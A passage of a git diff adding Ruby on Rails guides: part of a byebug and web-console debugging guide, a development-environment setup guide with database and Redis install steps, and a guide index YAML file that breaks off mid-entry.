+  finish     -- Runs the program until frame returns
+  frame      -- Moves to a frame in the call stack
+  help       -- Helps you using byebug
+  history    -- Shows byebug's history of commands
+  info       -- Shows several informations about the program being debugged
+  interrupt  -- Interrupts the program
+  irb        -- Starts an IRB session
+  kill       -- Sends a signal to the current process
+  list       -- Lists lines of source code
+  method     -- Shows methods of an object, class or module
+  next       -- Runs one or more lines of code
+  pry        -- Starts a Pry session
+  quit       -- Exits byebug
+  restart    -- Restarts the debugged program
+  save       -- Saves current byebug session to a file
+  set        -- Modifies byebug settings
+  show       -- Shows byebug settings
+  source     -- Restores a previously saved byebug session
+  step       -- Steps into blocks or methods one or more times
+  thread     -- Commands to manipulate threads
+  tracevar   -- Enables tracing of a global variable
+  undisplay  -- Stops displaying all or some expressions when program stops
+  untracevar -- Stops tracing a global variable
+  up         -- Moves to a higher frame in the stack trace
+  var        -- Shows variables and its values
+  where      -- Displays the backtrace
+
+(byebug)
+```
+
+To see the previous ten lines you should type `list-` (or `l-`).
+
+```
+(byebug) l-
+
+[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
+   1  class ArticlesController < ApplicationController
+   2    before_action :set_article, only: [:show, :edit, :update, :destroy]
+   3
+   4    # GET /articles
+   5    # GET /articles.json
+   6    def index
+   7      byebug
+   8      @articles = Article.find_recent
+   9
+   10      respond_to do |format|
+```
+
+This way you can move inside the file and see the code above the line where you
+added the `byebug` call. Finally, to see where you are in the code again you can
+type `list=`
+
+```
+(byebug) list=
+
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+(byebug)
+```
+
+### The Context
+
+When you start debugging your application, you will be placed in different
+contexts as you go through the different parts of the stack.
+
+The debugger creates a context when a stopping point or an event is reached. The
+context has information about the suspended program which enables the debugger
+to inspect the frame stack, evaluate variables from the perspective of the
+debugged program, and know the place where the debugged program is stopped.
+
+At any time you can call the `backtrace` command (or its alias `where`) to print
+the backtrace of the application. This can be very helpful to know how you got
+where you are. If you ever wondered about how you got somewhere in your code,
+then `backtrace` will supply the answer.
+
+```
+(byebug) where
+--> #0  ArticlesController.index
+      at /PathToProject/app/controllers/articles_controller.rb:8
+    #1  ActionController::BasicImplicitRender.send_action(method#String, *args#Array)
+      at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/basic_implicit_render.rb:4
+    #2  AbstractController::Base.process_action(action#NilClass, *args#Array)
+      at /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb:181
+    #3  ActionController::Rendering.process_action(action, *args)
+      at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/rendering.rb:30
+...
+```
+
+The current frame is marked with `-->`. You can move anywhere you want in this
+trace (thus changing the context) by using the `frame n` command, where _n_ is
+the specified frame number. If you do that, `byebug` will display your new
+context.
+
+```
+(byebug) frame 2
+
+[176, 185] in /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb
+   176:       # is the intended way to override action dispatching.
+   177:       #
+   178:       # Notice that the first argument is the method to be dispatched
+   179:       # which is *not* necessarily the same as the action name.
+   180:       def process_action(method_name, *args)
+=> 181:         send_action(method_name, *args)
+   182:       end
+   183:
+   184:       # Actually call the method associated with the action. Override
+   185:       # this method if you wish to change how action methods are called,
+(byebug)
+```
+
+The available variables are the same as if you were running the code line by
+line. After all, that's what debugging is.
+
+You can also use `up [n]` and `down [n]` commands in order to change the context
+_n_ frames up or down the stack respectively. _n_ defaults to one. Up in this
+case is towards higher-numbered stack frames, and down is towards lower-numbered
+stack frames.
+
+### Threads
+
+The debugger can list, stop, resume and switch between running threads by using
+the `thread` command (or the abbreviated `th`). This command has a handful of
+options:
+
+* `thread`: shows the current thread.
+* `thread list`: is used to list all threads and their statuses. The current
+thread is marked with a plus (+) sign.
+* `thread stop n`: stops thread _n_.
+* `thread resume n`: resumes thread _n_.
+* `thread switch n`: switches the current thread context to _n_.
+
+This command is very helpful when you are debugging concurrent threads and need
+to verify that there are no race conditions in your code.
+
+### Inspecting Variables
+
+Any expression can be evaluated in the current context. To evaluate an
+expression, just type it!
+
+This example shows how you can print the instance variables defined within the
+current context:
+
+```
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+
+(byebug) instance_variables
+[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
+ :@_action_name, :@_response_body, :@marked_for_same_origin_verification,
+ :@_config]
+```
+
+As you may have figured out, all of the variables that you can access from a
+controller are displayed. This list is dynamically updated as you execute code.
+For example, run the next line using `next` (you'll learn more about this
+command later in this guide).
+
+```
+(byebug) next
+
+[5, 14] in /PathTo/project/app/controllers/articles_controller.rb
+   5     # GET /articles.json
+   6     def index
+   7       byebug
+   8       @articles = Article.find_recent
+   9
+=> 10       respond_to do |format|
+   11         format.html # index.html.erb
+   12        format.json { render json: @articles }
+   13      end
+   14    end
+   15
+(byebug)
+```
+
+And then ask again for the instance_variables:
+
+```
+(byebug) instance_variables
+[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
+ :@_action_name, :@_response_body, :@marked_for_same_origin_verification,
+ :@_config, :@articles]
+```
+
+Now `@articles` is included in the instance variables, because the line defining
+it was executed.
+
+TIP: You can also step into **irb** mode with the command `irb` (of course!).
+This will start an irb session within the context you invoked it.
+
+The `var` method is the most convenient way to show variables and their values.
+Let's have `byebug` help us with it.
+
+```
+(byebug) help var
+
+  [v]ar <subcommand>
+
+  Shows variables and its values
+
+
+  var all      -- Shows local, global and instance variables of self.
+  var args     -- Information about arguments of the current scope
+  var const    -- Shows constants of an object.
+  var global   -- Shows global variables.
+  var instance -- Shows instance variables of self or a specific object.
+  var local    -- Shows local variables in current scope.
+
+```
+
+This is a great way to inspect the values of the current context variables. For
+example, to check that we have no local variables currently defined:
+
+```
+(byebug) var local
+(byebug)
+```
+
+You can also inspect for an object method this way:
+
+```
+(byebug) var instance Article.new
+@_start_transaction_state = {}
+@aggregation_cache = {}
+@association_cache = {}
+@attributes = #<ActiveRecord::AttributeSet:0x007fd0682a9b18 @attributes={"id"=>#<ActiveRecord::Attribute::FromDatabase:0x007fd0682a9a00 @name="id", @value_be...
+@destroyed = false
+@destroyed_by_association = nil
+@marked_for_destruction = false
+@new_record = true
+@readonly = false
+@transaction_state = nil
+```
+
+You can also use `display` to start watching variables. This is a good way of
+tracking the values of a variable while the execution goes on.
+
+```
+(byebug) display @articles
+1: @articles = nil
+```
+
+The variables inside the displayed list will be printed with their values after
+you move in the stack. To stop displaying a variable use `undisplay n` where
+_n_ is the variable number (1 in the last example).
+
+### Step by Step
+
+Now you should know where you are in the running trace and be able to print the
+available variables. But let's continue and move on with the application
+execution.
+
+Use `step` (abbreviated `s`) to continue running your program until the next
+logical stopping point and return control to the debugger. `next` is similar to
+`step`, but while `step` stops at the next line of code executed, doing just a
+single step, `next` moves to the next line without descending inside methods.
+
+For example, consider the following situation:
+
+```
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
+Processing by ArticlesController#index as HTML
+
+[1, 6] in /PathToProject/app/models/article.rb
+   1: class Article < ApplicationRecord
+   2:   def self.find_recent(limit = 10)
+   3:     byebug
+=> 4:     where('created_at > ?', 1.week.ago).limit(limit)
+   5:   end
+   6: end
+
+(byebug)
+```
+
+If we use `next`, we won't go deep inside method calls. Instead, `byebug` will
+go to the next line within the same context. In this case, it is the last line
+of the current method, so `byebug` will return to the next line of the caller
+method.
+
+```
+(byebug) next
+[4, 13] in /PathToProject/app/controllers/articles_controller.rb
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     @articles = Article.find_recent
+    8:
+=>  9:     respond_to do |format|
+   10:       format.html # index.html.erb
+   11:       format.json { render json: @articles }
+   12:     end
+   13:   end
+
+(byebug)
+```
+
+If we use `step` in the same situation, `byebug` will literally go to the next
+Ruby instruction to be executed -- in this case, Active Support's `week` method.
+
+```
+(byebug) step
+
+[49, 58] in /PathToGems/activesupport-5.1.0/lib/active_support/core_ext/numeric/time.rb
+   49:
+   50:   # Returns a Duration instance matching the number of weeks provided.
+   51:   #
+   52:   #   2.weeks # => 14 days
+   53:   def weeks
+=> 54:     ActiveSupport::Duration.weeks(self)
+   55:   end
+   56:   alias :week :weeks
+   57:
+   58:   # Returns a Duration instance matching the number of fortnights provided.
+(byebug)
+```
+
+This is one of the best ways to find bugs in your code.
+
+TIP: You can also use `step n` or `next n` to move forward `n` steps at once.
+
+### Breakpoints
+
+A breakpoint makes your application stop whenever a certain point in the program
+is reached. The debugger shell is invoked in that line.
+
+You can add breakpoints dynamically with the command `break` (or just `b`).
+There are 3 possible ways of adding breakpoints manually:
+
+* `break n`: set breakpoint in line number _n_ in the current source file.
+* `break file:n [if expression]`: set breakpoint in line number _n_ inside
+file named _file_. If an _expression_ is given it must evaluated to _true_ to
+fire up the debugger.
+* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and
+\# for class and instance method respectively) defined in _class_. The
+_expression_ works the same way as with file:n.
+
+For example, in the previous situation
+
+```
+[4, 13] in /PathToProject/app/controllers/articles_controller.rb
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     @articles = Article.find_recent
+    8:
+=>  9:     respond_to do |format|
+   10:       format.html # index.html.erb
+   11:       format.json { render json: @articles }
+   12:     end
+   13:   end
+
+(byebug) break 11
+Successfully created breakpoint with id 1
+
+```
+
+Use `info breakpoints` to list breakpoints. If you supply a number, it lists
+that breakpoint. Otherwise it lists all breakpoints.
+
+```
+(byebug) info breakpoints
+Num Enb What
+1   y   at /PathToProject/app/controllers/articles_controller.rb:11
+```
+
+To delete breakpoints: use the command `delete n` to remove the breakpoint
+number _n_. If no number is specified, it deletes all breakpoints that are
+currently active.
+
+```
+(byebug) delete 1
+(byebug) info breakpoints
+No breakpoints.
+```
+
+You can also enable or disable breakpoints:
+
+* `enable breakpoints [n [m [...]]]`: allows a specific breakpoint list or all
+breakpoints to stop your program. This is the default state when you create a
+breakpoint.
+* `disable breakpoints [n [m [...]]]`: make certain (or all) breakpoints have
+no effect on your program.
+
+### Catching Exceptions
+
+The command `catch exception-name` (or just `cat exception-name`) can be used to
+intercept an exception of type _exception-name_ when there would otherwise be no
+handler for it.
+
+To list all active catchpoints use `catch`.
+
+### Resuming Execution
+
+There are two ways to resume execution of an application that is stopped in the
+debugger:
+
+* `continue [n]`: resumes program execution at the address where your script last
+stopped; any breakpoints set at that address are bypassed. The optional argument
+`n` allows you to specify a line number to set a one-time breakpoint which is
+deleted when that breakpoint is reached.
+* `finish [n]`: execute until the selected stack frame returns. If no frame
+number is given, the application will run until the currently selected frame
+returns. The currently selected frame starts out the most-recent frame or 0 if
+no frame positioning (e.g up, down or frame) has been performed. If a frame
+number is given it will run until the specified frame returns.
+
+### Editing
+
+Two commands allow you to open code from the debugger into an editor:
+
+* `edit [file:n]`: edit file named _file_ using the editor specified by the
+EDITOR environment variable. A specific line _n_ can also be given.
+
+### Quitting
+
+To exit the debugger, use the `quit` command (abbreviated to `q`). Or, type `q!`
+to bypass the `Really quit? (y/n)` prompt and exit unconditionally.
+
+A simple quit tries to terminate all threads in effect. Therefore your server
+will be stopped and you will have to start it again.
+
+### Settings
+
+`byebug` has a few available options to tweak its behavior:
+
+```
+(byebug) help set
+
+  set <setting> <value>
+
+  Modifies byebug settings
+
+  Boolean values take "on", "off", "true", "false", "1" or "0". If you
+  don't specify a value, the boolean setting will be enabled. Conversely,
+  you can use "set no<setting>" to disable them.
+
+  You can see these environment settings with the "show" command.
+
+  List of supported settings:
+
+  autosave       -- Automatically save command history record on exit
+  autolist       -- Invoke list command on every stop
+  width          -- Number of characters per line in byebug's output
+  autoirb        -- Invoke IRB on every stop
+  basename       -- <file>:<line> information after every stop uses short paths
+  linetrace      -- Enable line execution tracing
+  autopry        -- Invoke Pry on every stop
+  stack_on_error -- Display stack trace when `eval` raises an exception
+  fullpath       -- Display full file names in backtraces
+  histfile       -- File where cmd history is saved to. Default: ./.byebug_history
+  listsize       -- Set number of source lines to list by default
+  post_mortem    -- Enable/disable post-mortem mode
+  callstyle      -- Set how you want method call parameters to be displayed
+  histsize       -- Maximum number of commands that can be stored in byebug history
+  savefile       -- File where settings are saved to. Default: ~/.byebug_save
+```
+
+TIP: You can save these settings in an `.byebugrc` file in your home directory.
+The debugger reads these global settings when it starts. For example:
+
+```bash
+set callstyle short
+set listsize 25
+```
+
+Debugging with the `web-console` gem
+------------------------------------
+
+Web Console is a bit like `byebug`, but it runs in the browser. In any page you
+are developing, you can request a console in the context of a view or a
+controller. The console would be rendered next to your HTML content.
+
+### Console
+
+Inside any controller action or view, you can invoke the console by
+calling the `console` method.
+
+For example, in a controller:
+
+```ruby
+class PostsController < ApplicationController
+  def new
+    console
+    @post = Post.new
+  end
+end
+```
+
+Or in a view:
+
+```html+erb
+<% console %>
+
+<h2>New Post</h2>
+```
+
+This will render a console inside your view. You don't need to care about the
+location of the `console` call; it won't be rendered on the spot of its
+invocation but next to your HTML content.
+
+The console executes pure Ruby code: You can define and instantiate
+custom classes, create new models and inspect variables.
+
+NOTE: Only one console can be rendered per request. Otherwise `web-console`
+will raise an error on the second `console` invocation.
+
+### Inspecting Variables
+
+You can invoke `instance_variables` to list all the instance variables
+available in your context. If you want to list all the local variables, you can
+do that with `local_variables`.
+
+### Settings
+
+* `config.web_console.whitelisted_ips`: Authorized list of IPv4 or IPv6
+addresses and networks (defaults: `127.0.0.1/8, ::1`).
+* `config.web_console.whiny_requests`: Log a message when a console rendering
+is prevented (defaults: `true`).
+
+Since `web-console` evaluates plain Ruby code remotely on the server, don't try
+to use it in production.
+
+Debugging Memory Leaks
+----------------------
+
+A Ruby application (on Rails or not), can leak memory — either in the Ruby code
+or at the C code level.
+
+In this section, you will learn how to find and fix such leaks by using tool
+such as Valgrind.
+
+### Valgrind
+
+[Valgrind](http://valgrind.org/) is an application for detecting C-based memory
+leaks and race conditions.
+
+There are Valgrind tools that can automatically detect many memory management
+and threading bugs, and profile your programs in detail. For example, if a C
+extension in the interpreter calls `malloc()` but doesn't properly call
+`free()`, this memory won't be available until the app terminates.
+
+For further information on how to install Valgrind and use with Ruby, refer to
+[Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/)
+by Evan Weaver.
+
+Plugins for Debugging
+---------------------
+
+There are some Rails plugins to help you to find errors and debug your
+application. Here is a list of useful plugins for debugging:
+
+* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has
+footnotes that give request information and link back to your source via
+TextMate.
+* [Query Trace](https://github.com/ruckus/active-record-query-trace/tree/master) Adds query
+origin tracing to your logs.
+* [Query Reviewer](https://github.com/nesquena/query_reviewer) This Rails plugin
+not only runs "EXPLAIN" before each of your select queries in development, but
+provides a small DIV in the rendered output of each page with the summary of
+warnings for each query that it analyzed.
+* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master)
+Provides a mailer object and a default set of templates for sending email
+notifications when errors occur in a Rails application.
+* [Better Errors](https://github.com/charliesome/better_errors) Replaces the
+standard Rails error page with a new one containing more contextual information,
+like source code and variable inspection.
+* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails
+development that will end your tailing of development.log. Have all information
+about your Rails app requests in the browser — in the Developer Tools panel.
+Provides insight to db/rendering/total times, parameter list, rendered views and
+more.
+* [Pry](https://github.com/pry/pry) An IRB alternative and runtime developer console.
+
+References
+----------
+
+* [byebug Homepage](https://github.com/deivid-rodriguez/byebug)
+* [web-console Homepage](https://github.com/rails/web-console)
diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md
new file mode 100644
index 0000000000..c57efd6362
--- /dev/null
+++ b/guides/source/development_dependencies_install.md
@@ -0,0 +1,337 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Development Dependencies Install
+================================
+
+This guide covers how to setup an environment for Ruby on Rails core development.
+
+After reading this guide, you will know:
+
+* How to set up your machine for Rails development
+* How to run specific groups of unit tests from the Rails test suite
+* How the Active Record portion of the Rails test suite operates
+
+--------------------------------------------------------------------------------
+
+The Easy Way
+------------
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+The Hard Way
+------------
+
+In case you can't use the Rails development box, see section below, these are the steps to manually build a development box for Ruby on Rails core development.
+
+### Install Git
+
+Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
+
+* [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics.
+* The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git.
+* [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by.
+* [GitHub](http://help.github.com) offers links to a variety of Git resources.
+* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license.
+
+### Clone the Ruby on Rails Repository
+
+Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run:
+
+```bash
+$ git clone git://github.com/rails/rails.git
+$ cd rails
+```
+
+### Set up and Run the Tests
+
+The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
+
+Install first SQLite3 and its development files for the `sqlite3` gem. On macOS
+users are done with:
+
+```bash
+$ brew install sqlite3
+```
+
+In Ubuntu you're done with just:
+
+```bash
+$ sudo apt-get install sqlite3 libsqlite3-dev
+```
+
+If you are on Fedora or CentOS, you're done with
+
+```bash
+$ sudo yum install libsqlite3x libsqlite3x-devel 
+```
+
+If you are on Arch Linux, you will need to run:
+
+```bash
+$ sudo pacman -S sqlite
+```
+
+For FreeBSD users, you're done with:
+
+```bash
+# pkg install sqlite3
+```
+
+Or compile the `databases/sqlite3` port.
+
+Get a recent version of [Bundler](http://bundler.io/)
+
+```bash
+$ gem install bundler
+$ gem update bundler
+```
+
+and run:
+
+```bash
+$ bundle install --without db
+```
+
+This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon.
+
+NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running.
+
+You can use [Homebrew](http://brew.sh/) to install memcached on OS X:
+
+```bash
+$ brew install memcached
+```
+
+On Ubuntu you can install it with apt-get:
+
+```bash
+$ sudo apt-get install memcached
+```
+
+Or use yum on Fedora or CentOS:
+
+```bash
+$ sudo yum install memcached
+```
+
+If you are running on Arch Linux:
+
+```bash
+$ sudo pacman -S memcached
+```
+
+For FreeBSD users, you're done with:
+
+```bash
+# pkg install memcached
+```
+
+Alternatively, you can compile the `databases/memcached` port.
+
+With the dependencies now installed, you can run the test suite with:
+
+```bash
+$ bundle exec rake test
+```
+
+You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command:
+
+```bash
+$ cd actionpack
+$ bundle exec rake test
+```
+
+If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests in the `railties/test/generators` directory only:
+
+```bash
+$ cd railties
+$ TEST_DIR=generators bundle exec rake test
+```
+
+You can run the tests for a particular file by using:
+
+```bash
+$ cd actionpack
+$ bundle exec ruby -Itest test/template/form_helper_test.rb
+```
+
+Or, you can run a single test in a particular file:
+
+```bash
+$ cd actionpack
+$ bundle exec ruby -Itest path/to/test.rb -n test_name
+```
+
+### Railties Setup
+
+Some Railties tests depend on a JavaScript runtime environment, such as having [Node.js](https://nodejs.org/) installed.
+
+### Active Record Setup
+
+Active Record's test suite runs three times: once for SQLite3, once for MySQL, and once for PostgreSQL. We are going to see now how to set up the environment for them.
+
+WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
+
+#### Database Configuration
+
+The Active Record test suite requires a custom config file: `activerecord/test/config.yml`. An example is provided in `activerecord/test/config.example.yml` which can be copied and used as needed for your environment.
+
+#### MySQL and PostgreSQL
+
+To be able to run the suite for MySQL and PostgreSQL we need their gems. Install
+first the servers, their client libraries, and their development files.
+
+On OS X, you can run:
+
+```bash
+$ brew install mysql
+$ brew install postgresql
+```
+
+Follow the instructions given by Homebrew to start these.
+
+In Ubuntu just run:
+
+```bash
+$ sudo apt-get install mysql-server libmysqlclient-dev
+$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
+```
+
+On Fedora or CentOS, just run:
+
+```bash
+$ sudo yum install mysql-server mysql-devel
+$ sudo yum install postgresql-server postgresql-devel
+```
+
+If you are running Arch Linux, MySQL isn't supported anymore so you will need to
+use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)):
+
+```bash
+$ sudo pacman -S mariadb libmariadbclient mariadb-clients
+$ sudo pacman -S postgresql postgresql-libs
+```
+
+FreeBSD users will have to run the following:
+
+```bash
+# pkg install mysql56-client mysql56-server
+# pkg install postgresql94-client postgresql94-server
+```
+
+Or install them through ports (they are located under the `databases` folder).
+If you run into troubles during the installation of MySQL, please see
+[the MySQL documentation](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html).
+
+After that, run:
+
+```bash
+$ rm .bundle/config
+$ bundle install
+```
+
+First, we need to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
+
+In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases:
+
+```bash
+$ mysql -uroot -p
+
+mysql> CREATE USER 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.*
+       to 'rails'@'localhost';
+```
+
+and create the test databases:
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:mysql:build
+```
+
+PostgreSQL's authentication works differently. To setup the development environment
+with your development account, on Linux or BSD, you just have to run:
+
+```bash
+$ sudo -u postgres createuser --superuser $USER
+```
+
+and for OS X:
+
+```bash
+$ createuser --superuser $USER
+```
+
+Then you need to create the test databases with
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:postgresql:build
+```
+
+It is possible to build databases for both PostgreSQL and MySQL with
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:create
+```
+
+You can cleanup the databases using
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:drop
+```
+
+NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
+
+NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
+
+If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
+
+### Action Cable Setup
+
+Action Cable uses Redis as its default subscriptions adapter ([read more](action_cable_overview.html#broadcasting)). Thus, in order to have Action Cable's tests passing you need to install and have Redis running.
+
+#### Install Redis From Source
+
+Redis' documentation discourage installations with package managers as those are usually outdated. Installing from source and bringing the server up is straight forward and well documented on [Redis' documentation](http://redis.io/download#installation).
+
+#### Install Redis From Package Manager
+
+On OS X, you can run:
+
+```bash
+$ brew install redis
+```
+
+Follow the instructions given by Homebrew to start these.
+
+In Ubuntu just run:
+
+```bash
+$ sudo apt-get install redis-server
+```
+
+On Fedora or CentOS (requires EPEL enabled), just run:
+
+```bash
+$ sudo yum install redis
+```
+
+If you are running Arch Linux just run:
+
+```bash
+$ sudo pacman -S redis
+$ sudo systemctl start redis
+```
+
+FreeBSD users will have to run the following:
+
+```bash
+# portmaster databases/redis
+```
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
new file mode 100644
index 0000000000..59205ee465
--- /dev/null
+++ b/guides/source/documents.yaml
@@ -0,0 +1,230 @@
+-
+  name: Start Here
+  documents:
+    -
+      name: Getting Started with Rails
+      url: getting_started.html
+      description: Everything you need to know to install Rails and create your first application.
+-
+  name: Models
+  documents:
+    -
+      name: Active Record Basics
+      url: active_record_basics.html
+      description: This guide will get you started with models, persistence to database, and the Active Record pattern and library.
+    -
+      name: Active Record Migrations
+      url: active_record_migrations.html
+      description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
+    -
+      name: Active Record Validations
+      url: active_record_validations.html
+      description: This guide covers how you can use Active Record validations.
+    -
+      name: Active Record Callbacks
+      url: active_record_callbacks.html
+      description: This guide covers how you can use Active Record callbacks.
+    -
+      name: Active Record Associations
+      url: association_basics.html
+      description: This guide covers all the associations provided by Active Record.
+    -
+      name: Active Record Query Interface
+      url: active_record_querying.html
+      description: This guide covers the database query interface provided by Active Record.
+    -
+      name: Active Model Basics
+      url: active_model_basics.html
+      description: This guide covers the use of model classes without Active Record.
+      work_in_progress: true
+-
+  name: Views
+  documents:
+    -
+      name: Action View Overview
+      url: action_view_overview.html
+      description: This guide provides an introduction to Action View and introduces a few of the more common view helpers.
+      work_in_progress: true
+    -
+      name: Layouts and Rendering in Rails
+      url: layouts_and_rendering.html
+      description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.
+    -
+      name: Action View Form Helpers
+      url: form_helpers.html
+      description: Guide to using built-in Form helpers.
+-
+  name: Controllers
+  documents:
+    -
+      name: Action Controller Overview
+      url: action_controller_overview.html
+      description: This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
+    -
+      name: Rails Routing from the Outside In
+      url: routing.html
+      description: This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.
+-
+  name: Digging Deeper
+  documents:
+    -
+      name: Active Support Core Extensions
+      url: active_support_core_extensions.html
+      description: This guide documents the Ruby core extensions defined in Active Support.
+    -
+      name: Rails Internationalization API
+      url: i18n.html
+      description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country, and so on.
+    -
+      name: Action Mailer Basics
+      url: action_mailer_basics.html
+      description: This guide describes how to use Action Mailer to send and receive emails.
+    -
+      name: Active Job Basics
+      url: active_job_basics.html
+      description: This guide provides you with all you need to get started creating, enqueuing, and executing background jobs.
+    -
+      name: Testing Rails Applications
+      url: testing.html
+      description: This is a rather comprehensive guide to the various testing facilities in Rails. It covers everything from 'What is a test?' to Integration Testing. Enjoy.
+    -
+      name: Securing Rails Applications
+      url: security.html
+      description: This guide describes common security problems in web applications and how to avoid them with Rails.
+    -
+      name: Debugging Rails Applications
+      url: debugging_rails_applications.html
+      description: This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.
+    -
+      name: Configuring Rails Applications
+      url: configuring.html
+      description: This guide covers the basic configuration settings for a Rails application.
+    -
+      name: The Rails Command Line
+      url: command_line.html
+      description: This guide covers the command line tools provided by Rails.
+    -
+      name: Asset Pipeline
+      url: asset_pipeline.html
+      description: This guide documents the asset pipeline.
+    -
+      name: Working with JavaScript in Rails
+      url: working_with_javascript_in_rails.html
+      description: This guide covers the built-in Ajax/JavaScript functionality of Rails.
+    -
+      name: The Rails Initialization Process
+      work_in_progress: true
+      url: initialization.html
+      description: This guide explains the internals of the Rails initialization process.
+    -
+      name: Autoloading and Reloading Constants
+      url: autoloading_and_reloading_constants.html
+      description: This guide documents how autoloading and reloading constants work.
+    -
+      name: "Caching with Rails: An Overview"
+      url: caching_with_rails.html
+      description: This guide is an introduction to speeding up your Rails application with caching.
+    -
+      name: Active Support Instrumentation
+      work_in_progress: true
+      url: active_support_instrumentation.html
+      description: This guide explains how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.
+    -
+      name: Using Rails for API-only Applications
+      url: api_app.html
+      description: This guide explains how to effectively use Rails to develop a JSON API application.
+    -
+      name: Action Cable Overview
+      url: action_cable_overview.html
+      description: This guide explains how Action Cable works, and how to use WebSockets to create real-time features.
+
+-
+  name: Extending Rails
+  documents:
+    -
+      name: The Basics of Creating Rails Plugins
+      work_in_progress: true
+      url: plugins.html
+      description: This guide covers how to build a plugin to extend the functionality of Rails.
+    -
+      name: Rails on Rack
+      url: rails_on_rack.html
+      description: This guide covers Rails integration with Rack and interfacing with other Rack components.
+    -
+      name: Creating and Customizing Rails Generators
+      url: generators.html
+      description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator).
+    -
+      name: Getting Started with Engines
+      url: engines.html
+      description: This guide explains how to write a mountable engine.
+      work_in_progress: true
+-
+  name: Contributing to Ruby on Rails
+  documents:
+    -
+      name: Contributing to Ruby on Rails
+      url: contributing_to_ruby_on_rails.html
+      description: Rails is not 'somebody else's framework.' This guide covers a variety of ways that you can get involved in the ongoing development of Rails.
+    -
+      name: API Documentation Guidelines
+      url: api_documentation_guidelines.html
+      description: This guide documents the Ruby on Rails API documentation guidelines.
+    -
+      name: Ruby on Rails Guides Guidelines
+      url: ruby_on_rails_guides_guidelines.html
+      description: This guide documents the Ruby on Rails guides guidelines.
+-
+  name: Maintenance Policy
+  documents:
+    -
+      name: Maintenance Policy
+      url: maintenance_policy.html
+      description: What versions of Ruby on Rails are currently supported, and when to expect new versions.
+-
+  name: Release Notes
+  documents:
+    -
+      name: Upgrading Ruby on Rails
